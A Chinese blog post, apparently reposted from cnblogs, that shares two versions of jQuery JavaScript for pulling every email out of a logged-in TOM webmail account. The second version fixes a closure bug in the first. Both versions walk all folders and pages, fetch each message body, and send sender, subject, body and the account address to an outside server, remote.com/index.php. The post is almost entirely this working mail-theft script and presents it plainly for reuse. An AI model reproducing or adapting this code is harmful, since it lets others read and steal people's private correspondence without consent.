JS实现TOM邮箱邮件内容获取

之前写过一个版本,没有使用jquery导致在处理的时候很不方便。后来使用了jquery,利用代码很简单,大家勿喷

var email_address = document.getElementsByClassName("top-account")[0].innerHTML.match(/id="(.*?)_/)[1]

function postEmailInfo(data){							//将邮箱内容传递至远程服务器
	$.post(
		url	="http://remote.com/index.php",
		data={
			content:escape(encodeURIComponent(JSON.stringify(data))),
			user_id:email_address,
			userid:"1"
		},
		callback=function(){
			console.log("success...")					//存在跨域的问题,所以不会成功
		}
	)
}

function getEmailInfo(page_list){						//获取邮件的具体内容
	for(var i=0;i<page_list.length;i++){
		if(page_list[i]["to"]==null){
			to = email_address
		}
		else{
			to = page_list[i]["to"]
		}
		var content={
			"from":page_list[i]["from"],
			"subject":page_list[i]["subject"],
			"time":page_list[i]["sentDate"],
			"to":to,
			"body":""
		}
		$.get(
			url = "http://web.mail.tom.com/webmail/readmail/context.action?folderName="+page_list[i]["folderName"]+"&uid="+page_list[i]["uid"],
			callback=function(data,status){
				body = data.replace(/<.*?>/g,"").replace(/(^\s*)|(\s*$)/g, "")		//替换掉多余的html标签以及两边多余的空白字符
				content["body"] = body
				postEmailInfo(content)
			},
			type="text"
		)
	}
}

function getEmailAbstract(box_list){					//获取邮件摘要
	for(var i=0;i<box_list.length;i++){
		if(box_list[i]["msgCount"]%20==0){				//邮件每页20封,四舍五入直接处理会出错。
			page = box_list[i]["msgCount"]/20
		}
		else{
			page = parseInt(box_list[i]["msgCount"]/20)+1
		}


		if(page==0){
			console.log(box_list[i]["viewName"]+" has no email!")
			continue
		}
		else{
			console.log(box_list[i]["viewName"]+" has "+box_list[i]["msgCount"]+" email!")
			page = parseInt(box_list[i]["msgCount"]/20)+1
			for(var j=1;j<page+1;j++){
				$.post(
					url = "http://web.mail.tom.com/webmail/query/queryfolder.action",
					data= {
						folderName:box_list[i]["viewName"],
						currentPage:j
					},
					callback=function(data,status){
						console.log(data)
						page_list=data["result"]["pageList"]
						//console.log(page_list)
						getEmailInfo(page_list)
					},
					type="json"
				)				
			}

		}
	}
}

function main(){
	$.get(
		url		= "http://web.mail.tom.com/webmail/query/folderinfo.action?type=all_brief&_ts="+Date.parse(new Date()),
		callback=function(data,status){
			box_list = data["result"]["mailList"]
			getEmailAbstract(box_list)
			//console.log(box_list.length)
		},
		type="json"
	)
}

main()

  但是上面的版本存在问题,具体问题如下所示

  很明显,我的程序里面使用了异步编程,无法同步获得结果。导致最后的索引变量i都是同一个值(只循环结束后的值)。解决方法有如下几种:

  1、同步获取(这有违ajax设计的初衷吧)

  2、闭包(我采用了闭包解决)

 

var email_address = document.getElementsByClassName("top-account")[0].innerHTML.match(/id="(.*?)_/)[1]

function postEmailInfo(data){                            //将邮箱内容传递至远程服务器
    $.post(
        url    ="http://remote.com/index.php",
        data={
            content:escape(encodeURIComponent(JSON.stringify(data))),
            user_id:email_address,
            userid:"1"
        },
        callback=function(){
            console.log("success...")                    //存在跨域的问题,所以不会成功
        }
    )
}

function getEmailInfo(page_list){                        //获取邮件的具体内容



    for(var i=0;i<page_list.length;i++){
            
        (function(i){
            //console.log(page_list[i])                        //在这里,所有封邮件都没有问题!!!
            if(page_list[i]["to"]==null){
                to = email_address
            }
            else{
                to = page_list[i]["to"]
            }
            var content={
                "from":page_list[i]["from"],
                "subject":page_list[i]["subject"],
                "time":page_list[i]["sentDate"],
                "to":to,
                "body":""
            }
            
            //console.log(content)                           
            $.get(
                url = "http://web.mail.tom.com/webmail/readmail/context.action?folderName="+page_list[i]["folderName"]+"&uid="+page_list[i]["uid"],
                callback=function(data,status){                                           
                    body = data.replace(/<.*?>/g,"").replace(/(^\s*)|(\s*$)/g, "")        //替换掉多余的html标签以及两边多余的空白字符
                    content["body"] = body
                    //console.log(content)                                                
                    postEmailInfo(content)                    
                },
                type="text"
            )
        })(i)

    }
}

//获取收件箱、发件箱等邮件摘要。
function getEmailAbstract(box_list){                    //获取邮件摘要
    for(var i=0;i<box_list.length;i++){
        if(box_list[i]["msgCount"]%20==0){                //邮件每页20封,四舍五入直接处理会出错。
            var page = box_list[i]["msgCount"]/20
        }
        else{
            var page = parseInt(box_list[i]["msgCount"]/20)+1
        }
        if(page==0){
            console.log(box_list[i]["viewName"]+" has no email!")
            continue
        }
        else{
            console.log(box_list[i]["viewName"]+" has "+box_list[i]["msgCount"]+" email!")
            page = parseInt(box_list[i]["msgCount"]/20)+1
            for(var j=1;j<page+1;j++){
                $.post(
                    url = "http://web.mail.tom.com/webmail/query/queryfolder.action",
                    data= {
                        folderName:box_list[i]["viewName"],
                        currentPage:j
                    },
                    callback=function(data,status){
                        var page_list=data["result"]["pageList"]                    
                        //console.log(page_list)                                    //这里没有问题,邮件内容是正常的
                        getEmailInfo(page_list)
                    },
                    type="json"
                )                
            }

        }
    }
}

function main(){                    //这里应该没有问题,只有一次ajax访问。success之后直接调用
    $.get(
        url        = "http://web.mail.tom.com/webmail/query/folderinfo.action?type=all_brief&_ts="+Date.parse(new Date()),
        callback=function(data,status){
            var box_list = data["result"]["mailList"]
            getEmailAbstract(box_list)
            //console.log(box_list.length)
        },
        type="json"
    )
}

main()

  勿喷!!!可以多多交流

 

转载于:https://www.cnblogs.com/vicain/p/4972571.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值